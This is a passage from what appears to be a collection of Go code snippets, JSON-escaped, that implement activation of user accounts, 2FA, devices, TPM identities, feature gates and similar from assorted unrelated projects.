err\n\t\t}\n\n\t\tif account.IsActive {\n\t\t\treturn true, nil\n\t\t}\n\n\t\tif err := db.Conn.Engine.Model(&models.MerchantAccountORM{}).Where(\"id\", account.Id).Update(\"is_active\", \"true\").Error; err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\treturn true, nil\n\t}\n}","func (a *apiServer) ActivateAuth(ctx context.Context, req *pps.ActivateAuthRequest) (*pps.ActivateAuthResponse, error) {\n\tvar resp *pps.ActivateAuthResponse\n\tif err := a.txnEnv.WithWriteContext(ctx, func(txnCtx *txncontext.TransactionContext) error {\n\t\tvar err error\n\t\tresp, err = a.ActivateAuthInTransaction(txnCtx, req)\n\t\treturn err\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}","func (handler *Handler) handleUserActivationGet(w http.ResponseWriter, r *http.Request) {\n\n\t//Now get the email that was passed in\n\tkeys, ok := r.URL.Query()[\"email\"]\n\n\t//Only take the first one\n\tif !ok || len(keys[0]) < 1 {\n\t\tutils.ReturnJsonStatus(w, http.StatusUnprocessableEntity, false, \"activation_token_missing_email\")\n\t}\n\n\t//Get the email\n\temail := keys[0]\n\n\t//Look up the user\n\tuser, err := handler.userHelper.GetUserByEmail(email)\n\n\t//If there is an error just return, we don't want people to know if there was an email here\n\tif err != nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusOK, true, \"activation_token_request_received\")\n\t\treturn\n\t}\n\n\t//Now issue a request\n\t//If the user is not already active\n\tif user.Activated() {\n\t\tutils.ReturnJsonStatus(w, http.StatusOK, true, \"activation_token_request_received\")\n\t}\n\t//Else issue the request\n\terr = handler.userHelper.IssueActivationRequest(handler.userHelper.passwordHelper.TokenGenerator(), user.Id(), user.Email())\n\n\t//There was a real error return\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusNotFound, err)\n\t\treturn\n\t}\n\n\t//Now just return\n\tutils.ReturnJsonStatus(w, http.StatusOK, true, \"activation_token_request_received\")\n\n}","func (db *database) ActivatePerson(ctx context.Context, personID int) error {\n\tresult, err := db.ExecContext(ctx, `\n\t\tUPDATE person SET\n\t\t\tis_deactivated = FALSE\n\t\tWHERE person_id = $1\n\t`, personID)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to activate person\")\n\t}\n\n\tn, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to check result of person activation\")\n\t} else if n != 1 {\n\t\treturn errors.Wrapf(\n\t\t\tapp.ErrNotFound,\n\t\t\t\"no such person by id of %d\", personID,\n\t\t)\n\t}\n\n\treturn nil\n}","func (r *NucypherAccountRepository) Reactivate(updatedBy string, accountID int, now time.Time) error {\n\n\t_, err := r.store.db.NamedExec(`UPDATE nucypher_accounts \n\tSET is_active=true, updated_by=:updated_by, updated_at=:updated_at \n\tWHERE (created_by=:updated_by AND account_id=:account_id AND is_active=false)`,\n\t\tmap[string]interface{}{\n\t\t\t\"updated_by\": updatedBy,\n\t\t\t\"account_id\": accountID,\n\t\t\t\"updated_at\": now,\n\t\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}","func SendActivationEmail(user models.User) {\n\ttitle := \"Welcome to Calagora!\"\n\tparagraphs := []interface{}{\n\t\t\"Welcome to Calagora, \" + user.DisplayName + \"!\",\n\t\t\"You've successfully created an account with the username \" +\n\t\t\tuser.Username + \".\",\n\t\t\"In order to complete your registration, you just need to \" +\n\t\t\t\"activate your account.\",\n\t\t\"To do this, copy and paste this link into your address bar:\",\n\t\tmakeURLLink(\"https://www.calagora.com/user/activate/\" +\n\t\t\tstrconv.Itoa(user.ID) + \"/\" + user.Activation),\n\t\t\"After you activate your account, you can make offers on \" +\n\t\t\t\"listings, create your own listings, and chat with sellers or \" +\n\t\t\t\"buyers through the site!\",\n\t}\n\temail := &utils.Email{\n\t\tTo: []string{user.EmailAddress},\n\t\tFrom: Base.AutomatedEmail,\n\t\tSubject: title,\n\t\tFormattedText: GenerateHTML(title, paragraphs),\n\t\tPlainText: GeneratePlain(title, paragraphs),\n\t}\n\tBase.EmailChannel <- email\n}","func (a *DeviceAPI) Activate(ctx context.Context, req *api.ActivateDeviceRequest) (*empty.Empty, error) {\n\tvar response empty.Empty\n\tif req.DeviceActivation == nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"device_activation must not be nil\")\n\t}\n\n\tvar devAddr lorawan.DevAddr\n\tvar devEUI lorawan.EUI64\n\tvar appSKey lorawan.AES128Key\n\tvar nwkSEncKey lorawan.AES128Key\n\tvar sNwkSIntKey lorawan.AES128Key\n\tvar fNwkSIntKey lorawan.AES128Key\n\n\tif err := devAddr.UnmarshalText([]byte(req.DeviceActivation.DevAddr)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"devAddr: %s\", err)\n\t}\n\tif err := devEUI.UnmarshalText([]byte(req.DeviceActivation.DevEui)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"devEUI: %s\", err)\n\t}\n\tif err := appSKey.UnmarshalText([]byte(req.DeviceActivation.AppSKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"appSKey: %s\", err)\n\t}\n\tif err := nwkSEncKey.UnmarshalText([]byte(req.DeviceActivation.NwkSEncKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"nwkSEncKey: %s\", err)\n\t}\n\tif err := sNwkSIntKey.UnmarshalText([]byte(req.DeviceActivation.SNwkSIntKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"sNwkSIntKey: %s\", err)\n\t}\n\tif err := fNwkSIntKey.UnmarshalText([]byte(req.DeviceActivation.FNwkSIntKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"fNwkSIntKey: %s\", err)\n\t}\n\n\tif valid, err := devmod.NewValidator(a.st).ValidateNodeAccess(ctx, authcus.Update, devEUI); !valid || err != nil {\n\t\treturn nil, status.Errorf(codes.Unauthenticated, \"authentication failed: %s\", err)\n\t}\n\n\td, err := a.st.GetDevice(ctx, devEUI, false)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tn, err := a.st.GetNetworkServerForDevEUI(ctx, devEUI)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tnsClient, err := a.nsCli.GetNetworkServerServiceClient(n.ID)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, err.Error())\n\t}\n\n\t_, _ = nsClient.DeactivateDevice(ctx, &ns.DeactivateDeviceRequest{\n\t\tDevEui: d.DevEUI[:],\n\t})\n\n\tactReq := ns.ActivateDeviceRequest{\n\t\tDeviceActivation: &ns.DeviceActivation{\n\t\t\tDevEui: d.DevEUI[:],\n\t\t\tDevAddr: devAddr[:],\n\t\t\tNwkSEncKey: nwkSEncKey[:],\n\t\t\tSNwkSIntKey: sNwkSIntKey[:],\n\t\t\tFNwkSIntKey: fNwkSIntKey[:],\n\t\t\tFCntUp: req.DeviceActivation.FCntUp,\n\t\t\tNFCntDown: req.DeviceActivation.NFCntDown,\n\t\t\tAFCntDown: req.DeviceActivation.AFCntDown,\n\t\t},\n\t}\n\n\tif err := a.st.UpdateDeviceActivation(ctx, d.DevEUI, devAddr, appSKey); err != nil {\n\t\treturn nil, status.Errorf(codes.Unknown, \"%v\", err)\n\t}\n\n\t_, err = nsClient.ActivateDevice(ctx, &actReq)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Unknown, \"%v\", err)\n\t}\n\n\tlog.WithFields(log.Fields{\n\t\t\"dev_addr\": devAddr,\n\t\t\"dev_eui\": d.DevEUI,\n\t\t\"ctx_id\": ctx.Value(logging.ContextIDKey),\n\t}).Info(\"device activated\")\n\n\treturn &response, nil\n}","func (dc *DexClient) ActivateAccount(code string) error {\n\treturn dc.ActivateAccountContext(context.Background(), code)\n}","func Activate2FA(w http.ResponseWriter, r *http.Request) {\n\tfLog := userMgmtLogger.WithField(\"func\", \"Activate2FA\").WithField(\"RequestID\", r.Context().Value(constants.RequestID)).WithField(\"path\", r.URL.Path).WithField(\"method\", r.Method)\n\tauthCtx := r.Context().Value(constants.HansipAuthentication).(*hansipcontext.AuthenticationContext)\n\tuser, err := UserRepo.GetUserByEmail(r.Context(), authCtx.Subject)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.GetUserByEmail got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, fmt.Sprintf(\"subject not found : %s. got %s\", authCtx.Subject, err.Error()))\n\t\treturn\n\t}\n\tif user == nil {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, fmt.Sprintf(\"User email %s not found\", authCtx.Subject), nil, nil)\n\t\treturn\n\t}\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tfLog.Errorf(\"ioutil.ReadAll got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tc := &Activate2FARequest{}\n\terr = json.Unmarshal(body, c)\n\tif err != nil {\n\t\tfLog.Errorf(\"json.Unmarshal got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"Malformed json body\", nil, nil)\n\t\treturn\n\t}\n\n\tsecret := totp.SecretFromBase32(user.UserTotpSecretKey)\n\tvalid, err := totp.Authenticate(secret, c.Token, true)\n\tif err != nil {\n\t\tfLog.Errorf(\"totp.GenerateTotpWithDrift got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tif !valid {\n\t\tfLog.Errorf(\"Invalid OTP token for %s\", user.Email)\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, err.Error(), nil, \"Invalid OTP\")\n\t\treturn\n\t}\n\tcodes, err := UserRepo.GetTOTPRecoveryCodes(r.Context(), user)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.GetTOTPRecoveryCodes got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tresp := Activate2FAResponse{\n\t\tCodes: codes,\n\t}\n\tuser.Enable2FactorAuth = true\n\terr = UserRepo.UpdateUser(r.Context(), user)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.SaveOrUpdate got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \"2FA Activated\", nil, resp)\n}","func (dc *DexClient) ActivateAccountContext(ctx context.Context, code string) error {\n\treturn dc.responseOp(ctx, http.MethodGet, fmt.Sprintf(ActivateAccountPath, code), nil, nil)\n}","func (m *UserResource) ActivateUser(ctx context.Context, userId string, qp *query.Params) (*UserActivationToken, *Response, error) {\n\turl := fmt.Sprintf(\"/api/v1/users/%v/lifecycle/activate\", userId)\n\tif qp != nil {\n\t\turl = url + qp.String()\n\t}\n\n\trq := m.client.CloneRequestExecutor()\n\n\treq, err := rq.WithAccept(\"application/json\").WithContentType(\"application/json\").NewRequest(\"POST\", url, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar userActivationToken *UserActivationToken\n\n\tresp, err := rq.Do(ctx, req, &userActivationToken)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn userActivationToken, resp, nil\n}","func (client IdentityClient) activateMfaTotpDevice(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/users/{userId}/mfaTotpDevices/{mfaTotpDeviceId}/actions/activate\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ActivateMfaTotpDeviceResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}","func (m *Mailer) SendActivationMail(u *model.User, token string) error {\n\treturn m.act.Do(u.Email, m.cnt.GetActivationMail(u.Nickname, token))\n}","func ActivateIdentity(rw io.ReadWriter, aikAuth []byte, ownerAuth []byte, aik tpmutil.Handle, asym, sym []byte) ([]byte, error) {\n\t// Run OIAP for the AIK.\n\toiaprAIK, err := oiap(rw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to start OIAP session: %v\", err)\n\t}\n\n\t// Run OSAP for the owner, reading a random OddOSAP for our initial command\n\t// and getting back a secret and a handle.\n\tsharedSecretOwn, osaprOwn, err := newOSAPSession(rw, etOwner, khOwner, ownerAuth)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to start OSAP session: %v\", err)\n\t}\n\tdefer osaprOwn.Close(rw)\n\tdefer zeroBytes(sharedSecretOwn[:])\n\n\tauthIn := []interface{}{ordActivateIdentity, tpmutil.U32Bytes(asym)}\n\tca1, err := newCommandAuth(oiaprAIK.AuthHandle, oiaprAIK.NonceEven, nil, aikAuth, authIn)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"newCommandAuth failed: %v\", err)\n\t}\n\tca2, err := newCommandAuth(osaprOwn.AuthHandle, osaprOwn.NonceEven, nil, sharedSecretOwn[:], authIn)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"newCommandAuth failed: %v\", err)\n\t}\n\n\tsymkey, ra1, ra2, ret, err := activateIdentity(rw, aik, asym, ca1, ca2)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"activateIdentity failed: %v\", err)\n\t}\n\n\t// Check response authentication.\n\traIn := []interface{}{ret, ordActivateIdentity, symkey}\n\tif err := ra1.verify(ca1.NonceOdd, aikAuth, raIn); err != nil {\n\t\treturn nil, fmt.Errorf(\"aik resAuth failed to verify: %v\", err)\n\t}\n\n\tif err := ra2.verify(ca2.NonceOdd, sharedSecretOwn[:], raIn); err != nil {\n\t\treturn nil, fmt.Errorf(\"owner resAuth failed to verify: %v\", err)\n\t}\n\n\tcred, err := unloadTrspiCred(sym)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unloadTrspiCred failed: %v\", err)\n\t}\n\tvar (\n\t\tblock cipher.Block\n\t\tiv []byte\n\t\tciphertxt []byte\n\t\tsecret []byte\n\t)\n\tswitch id := symkey.AlgID; id {\n\tcase AlgAES128:\n\t\tblock, err = aes.NewCipher(symkey.Key)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"aes.NewCipher failed: %v\", err)\n\t\t}\n\t\tiv = cred[:aes.BlockSize]\n\t\tciphertxt = cred[aes.BlockSize:]\n\t\tsecret = ciphertxt\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%v is not a supported session key algorithm\", id)\n\t}\n\tswitch es := symkey.EncScheme; es {\n\tcase esSymCTR:\n\t\tstream := cipher.NewCTR(block, iv)\n\t\tstream.XORKeyStream(secret, ciphertxt)\n\tcase esSymOFB:\n\t\tstream := cipher.NewOFB(block, iv)\n\t\tstream.XORKeyStream(secret, ciphertxt)\n\tcase esSymCBCPKCS5:\n\t\tmode := cipher.NewCBCDecrypter(block, iv)\n\t\tmode.CryptBlocks(secret, ciphertxt)\n\t\t// Remove PKCS5 padding.\n\t\tpadlen := int(secret[len(secret)-1])\n\t\tsecret = secret[:len(secret)-padlen]\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%v is not a supported encryption scheme\", es)\n\t}\n\n\treturn secret, nil\n}","func (s *MemStore) Activate(deviceID string, requestID string) (common.Role, error) {\n\trole, ok := s.act[requestID]\n\tif !ok {\n\t\treturn common.RoleNone, common.ErrorInvalidActivationRequest\n\t}\n\t// prevent reuse !\n\tdelete(s.act, requestID)\n\t// Do the actual activation\n\ts.did[deviceID] = role\n\treturn role, nil\n}","func (a *Ability) Activate(activated bool) {\n\ta.m.Lock()\n\tdefer a.m.Unlock()\n\ta.activated = activated\n}","func (im InputMethod) InstallAndActivateUserAction(uc *useractions.UserContext) action.Action {\n\treturn uiauto.UserAction(\n\t\t\"Add and activate input method via Chromium API\",\n\t\tim.InstallAndActivate(uc.TestAPIConn()),\n\t\tuc, &useractions.UserActionCfg{\n\t\t\tAttributes: map[string]string{\n\t\t\t\tuseractions.AttributeFeature: useractions.FeatureIMEManagement,\n\t\t\t\tuseractions.AttributeInputMethod: im.Name,\n\t\t\t},\n\t\t},\n\t)\n}","func (db *Db) ActivateAccount(ctx context.Context, id uint64) (bool, error) {\n\tconst operationType = \"activate_business_account_db_op\"\n\tdb.Logger.Info(fmt.Sprintf(\"activate business account database operation. id: %d\", id))\n\n\ttx := db.activateMerchantAccountTxFunc(id)\n\tresult, err := db.Conn.PerformComplexTransaction(ctx, tx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\topStatus, ok := result.(bool)\n\tif !ok {\n\t\treturn false, service_errors.ErrFailedToCastToType\n\t}\n\n\treturn opStatus, nil\n}","func (db *DB) ActivateLoginToken(ctx context.Context, token string) (string, error) {\n\trow := db.sql.QueryRowContext(ctx, `UPDATE login_tokens\n\t\t\t\t\t\t\t\t\t\tSET (used) = (true)\n\t\t\t\t\t\t\t\t\t\tWHERE token = $1\n\t\t\t\t\t\t\t\t\t\tAND expires_at > now()\n\t\t\t\t\t\t\t\t\t\tAND used = false\n\t\t\t\t\t\t\t\t\t\tRETURNING user_id;`, token)\n\n\tvar userID string\n\terr := row.Scan(&userID)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn \"\", errors.New(\"token invalid\")\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\treturn userID, nil\n}","func Activater(c *gin.Context) {\n\tid := stringToUUID(c.Param(\"id\"))\n\tdataBase := database.GetDatabase()\n\tinfo, err := dataBase.GetURLByID(id)\n\n\tif err != nil { // if record not found\n\t\thandleDataBaseError(c, err)\n\t} else {\n\t\tmonitor := mt.GetMonitor()\n\t\tif info.Crawling == false { // if url was Inactivated\n\t\t\tinfo.Crawling = true\n\t\t\tinfo.FailureCount = 0\n\t\t\tinfo.Status = \"active\"\n\t\t\terr := dataBase.UpdateDatabase(info)\n\t\t\tif err != nil { //database update fails\n\t\t\t\thandleDataBaseError(c, err)\n\t\t\t} else {\n\t\t\t\tmonitor.StartMonitoring(info) //start Monitoring\n\t\t\t\tc.String(http.StatusOK, \"Activated \")\n\t\t\t}\n\t\t} else { // else error already activated\n\t\t\tmsg := fmt.Sprintf(\"Error!!!!! Already activated \")\n\t\t\tc.String(http.StatusNotAcceptable, msg)\n\t\t}\n\t}\n}","func (db *DB) ActiveUserFromKey(ctx context.Context, key string) (string, error) {\n\trow := db.sql.QueryRowContext(ctx, `SELECT user_id \n\t\t\t\t\t\t\t\t\t\tFROM sessions \n\t\t\t\t\t\t\t\t\t\tWHERE key = $1\n\t\t\t\t\t\t\t\t\t\tAND active = true;`, key)\n\n\tvar userID string\n\terr := row.Scan(&userID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn userID, nil\n}","func (h Handler) Activate(ctx context.Context, request *proto.Identifier) (*proto.Message, error) {\n\terr := h.meta.SetStatus(ctx, request.UserID, verified)\n\terr = errors.Wrap(err, \"Error while changing status\")\n\treturn &proto.Message{}, err\n}","func Activate(sessionID int64, deployment DeploymentOptions) error {\n\tif deployment.IsCloud() {\n\t\treturn fmt.Errorf(\"activate is not supported with %s target\", deployment.Target.Type())\n\t}\n\tu, err := deployment.url(fmt.Sprintf(\"/application/v2/tenant/default/session/%d/active\", sessionID))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(\"PUT\", u.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tserviceDescription := \"Deploy service\"\n\tresponse, err := deployment.HTTPClient.Do(req, time.Second*30)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer response.Body.Close()\n\treturn checkResponse(req, response, serviceDescription)\n}","func VerifyUserAccount(c *gin.Context) {\n\n\tverificationToken := c.Param(\"token\")\n\n\tvar item models.User\n\n\tif config.DB.First(&item, \"verification_token = ?\", verificationToken).RecordNotFound() {\n\t\tc.JSON(404, gin.H{\n\t\t\t\"status\": \"error\",\n\t\t\t\"message\": \"record not found\"})\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\tconfig.DB.Model(&item).Where(\"id = ?\", item.ID).Updates(models.User{\n\t\tIsActivate: true,\n\t})\n\n\tc.JSON(200, gin.H{\n\t\t\"status\": \"Success, your account is now active. Please Login to your account\",\n\t\t\"data\": item,\n\t})\n}","func (p *ProcessDefinition) ActivateOrSuspendByKey(req ReqActivateOrSuspendByKey) error {\n\treturn p.client.doPutJson(\"/process-definition/suspended\", map[string]string{}, &req)\n}","func ActivateTrial() int {\n\tstatus := C.ActivateTrial()\n\treturn int(status)\n}","func (l *Lookup) Activate(profileID string) error {\n\t// apiVersion is not initialized, run a quick tasting\n\tif l.apiVersion == proto.ProtocolInvalid {\n\t\tl.taste(true)\n\t}\n\n\tswitch l.apiVersion {\n\tcase proto.ProtocolTwo:\n\t\treturn l.v2ActivateProfile(profileID)\n\t}\n\n\treturn ErrProtocol\n}","func (c *cloudChannelRESTClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\n\toverride := fmt.Sprintf(\"/v1/%s\", name)\n\treturn &ActivateEntitlementOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t\tpollPath: override,\n\t}\n}","func TestActivateAsRobotUser(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"Skipping integration tests in short mode\")\n\t}\n\tdeleteAll(t)\n\n\tclient := seedClient.WithCtx(context.Background())\n\tresp, err := client.Activate(client.Ctx(), &auth.ActivateRequest{\n\t\tSubject: \"robot:deckard\",\n\t})\n\trequire.NoError(t, err)\n\tclient.SetAuthToken(resp.PachToken)\n\twhoAmI, err := client.WhoAmI(client.Ctx(), &auth.WhoAmIRequest{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"robot:deckard\", whoAmI.Username)\n\n\t// Make sure the robot token has no TTL\n\trequire.Equal(t, int64(-1), whoAmI.TTL)\n\n\t// Make \"admin\" an admin, so that auth can be deactivated\n\tclient.ModifyAdmins(client.Ctx(), &auth.ModifyAdminsRequest{\n\t\tAdd: []string{\"admin\"},\n\t\tRemove: []string{\"robot:deckard\"},\n\t})\n}","func GetActivationCode(input *User) (*User, error) {\n\tuser := getUserByEmail(input.Email)\n\n\tif user == nil {\n\t\treturn nil, fmt.Errorf(\"Invalid email.\")\n\t} else if user.ActivationCode == nil {\n\t\treturn nil, fmt.Errorf(\"User has already been activated.\")\n\t}\n\n\treturn user, nil\n}","func (f *FeatureGateClient) setActivated(ctx context.Context, gate *corev1alpha2.FeatureGate, featureName string) error {\n\tfor i := range gate.Spec.Features {\n\t\tif gate.Spec.Features[i].Name == featureName {\n\t\t\tgate.Spec.Features[i].Activate = true\n\t\t\treturn f.crClient.Update(ctx, gate)\n\t\t}\n\t}\n\treturn fmt.Errorf(\"could not activate Feature %s as it was not found in FeatureGate %s: %w\", featureName, gate.Name, ErrTypeNotFound)\n}","func (m *Mailer) SendUserActivatedMail(email string) error {\n\treturn m.act.Do(email, m.cnt.GetUserActivatedMail())\n}","func (im InputMethod) Activate(tconn *chrome.TestConn) action.Action {\n\tf := func(ctx context.Context, fullyQualifiedIMEID string) error {\n\t\tactiveIME, err := ActiveInputMethod(ctx, tconn)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to get active input method\")\n\t\t}\n\t\tif activeIME.Equal(im) {\n\t\t\treturn nil\n\t\t}\n\n\t\tif err := tconn.Call(ctx, nil, `chrome.inputMethodPrivate.setCurrentInputMethod`, fullyQualifiedIMEID); err != nil {\n\t\t\treturn errors.Wrapf(err, \"failed to set current input method to %q\", fullyQualifiedIMEID)\n\t\t}\n\t\treturn im.WaitUntilActivated(tconn)(ctx)\n\t}\n\treturn im.actionWithFullyQualifiedID(tconn, f)\n}","func (o *signalHandler) Activate(activation Activation) error {\n\to.serviceID = activation.ServiceID\n\to.objectID = activation.ObjectID\n\treturn nil\n}","func (o *signalHandler) Activate(activation Activation) error {\n\to.serviceID = activation.ServiceID\n\to.objectID = activation.ObjectID\n\treturn nil\n}","func inactivateWorkItem(item WorkItem, request IDSRequest) {\n\tvalue := workItemMap[item.ID]\n\tvalue.Active = false\n\t//value.TimesCoded++\n\tworkItemMap[item.ID] = value\n\tworkDB.persistWorkItem(value)\n\n\t// update the User's WorkItem list on disk\n\tuser, getUsrError := labsDB.getUser(request.LabKey, request.Username)\n\tif getUsrError != nil {\n\t\treturn\n\t}\n\tuser.inactivateWorkItem(value)\n\tlabsDB.setUser(user)\n}","func (n *Neuron) Activate(x float32, training bool) float32 {\r\n\treturn GetActivation(n.A).F(x, training)\r\n}","func (h *JwtHandler) UpdateActivationJWT(w http.ResponseWriter, r *http.Request, params httprouter.Params) {\n\tactStore, ok := h.jwtStore.(store.JWTActivationStore)\n\tif !ok {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"activations are not supported\", \"\", nil, w)\n\t\treturn\n\t}\n\n\ttheJWT, err := io.ReadAll(r.Body)\n\tdefer r.Body.Close()\n\tif err != nil {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT in request\", \"\", err, w)\n\t\treturn\n\t}\n\n\tclaim, err := jwt.DecodeActivationClaims(string(theJWT))\n\n\tif err != nil || claim == nil {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT in request\", \"\", err, w)\n\t\treturn\n\t}\n\n\tif !nkeys.IsValidPublicOperatorKey(claim.Issuer) && !nkeys.IsValidPublicAccountKey(claim.Issuer) {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT Issuer in request\", claim.Issuer, err, w)\n\t\treturn\n\t}\n\n\tif !nkeys.IsValidPublicAccountKey(claim.Subject) {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT Subject in request\", claim.Subject, err, w)\n\t\treturn\n\t}\n\n\thash, err := claim.HashID()\n\n\tif err != nil {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation hash in request\", claim.Issuer, err, w)\n\t\treturn\n\t}\n\n\tif err := actStore.SaveAct(hash, string(theJWT)); err != nil {\n\t\th.sendErrorResponse(http.StatusInternalServerError, \"error saving activation JWT\", claim.Issuer, err, w)\n\t\treturn\n\t}\n\n\tif h.sendActivationNotification != nil {\n\t\tif err := h.sendActivationNotification(hash, claim.Issuer, theJWT); err != nil {\n\t\t\th.sendErrorResponse(http.StatusInternalServerError, \"error saving activation JWT\", claim.Issuer, err, w)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// hash insures that exports has len > 0\n\th.logger.Noticef(\"updated activation JWT - %s-%s - %q\",\n\t\tShortKey(claim.Issuer), ShortKey(claim.Subject), claim.ImportSubject)\n\tw.WriteHeader(http.StatusOK)\n}","func (c *cloudChannelGRPCClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\n\treturn &ActivateEntitlementOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t}\n}","func (r *NucypherAccountRepository) Deactivate(updatedBy string, accountID int, now time.Time) error {\n\n\t_, err := r.store.db.Exec(`UPDATE nucypher_accounts \n\tSET is_active=false, updated_by=$1, updated_at=$3 \n\tWHERE (created_by=$1 AND account_id=$2)`,\n\t\tupdatedBy,\n\t\taccountID,\n\t\tnow,\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}","func WithActivation(activateAfter *time.Time) SecretOption {\n\treturn func(op *Options) {\n\t\top.Activates = activateAfter\n\t}\n}","func SendActivateEmailMail(c *macaron.Context, u *models.User, email *models.EmailAddress) {\n\tdata := ComposeTplData(u)\n\tdata[\"Code\"] = u.GenerateEmailActivateCode(email.Email)\n\tdata[\"Email\"] = email.Email\n\tbody, err := c.HTMLString(string(AUTH_ACTIVATE_EMAIL), data)\n\tif err != nil {\n\t\tlog.Error(4, \"HTMLString: %v\", err)\n\t\treturn\n\t}\n\n\tmsg := NewMessage([]string{email.Email}, c.Tr(\"mail.activate_email\"), body)\n\tmsg.Info = fmt.Sprintf(\"UID: %d, activate email\", u.Id)\n\n\tSendAsync(msg)\n}","func (c *CloudChannelClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\n\treturn c.internalClient.ActivateEntitlementOperation(name)\n}","func (u *User) Enable(c echo.Context, userid string, active bool) error {\n\treturn u.udb.Enable(u.db, u.ce, userid, active)\n}","func UpdateActivation(buildId string, active bool, caller string) error {\n\tvar err error\n\tif !active && (evergreen.IsSystemActivator(caller)) {\n\t\t_, err = UpdateAllBuilds(\n\t\t\tbson.M{IdKey: buildId,\n\t\t\t\tActivatedByKey: caller,\n\t\t\t},\n\t\t\tbson.M{\n\t\t\t\t\"$set\": bson.M{\n\t\t\t\t\tActivatedKey: active,\n\t\t\t\t\tActivatedTimeKey: time.Now(),\n\t\t\t\t\tActivatedByKey: caller,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t} else {\n\t\t_, err = UpdateAllBuilds(\n\t\t\tbson.M{IdKey: buildId},\n\t\t\tbson.M{\n\t\t\t\t\"$set\": 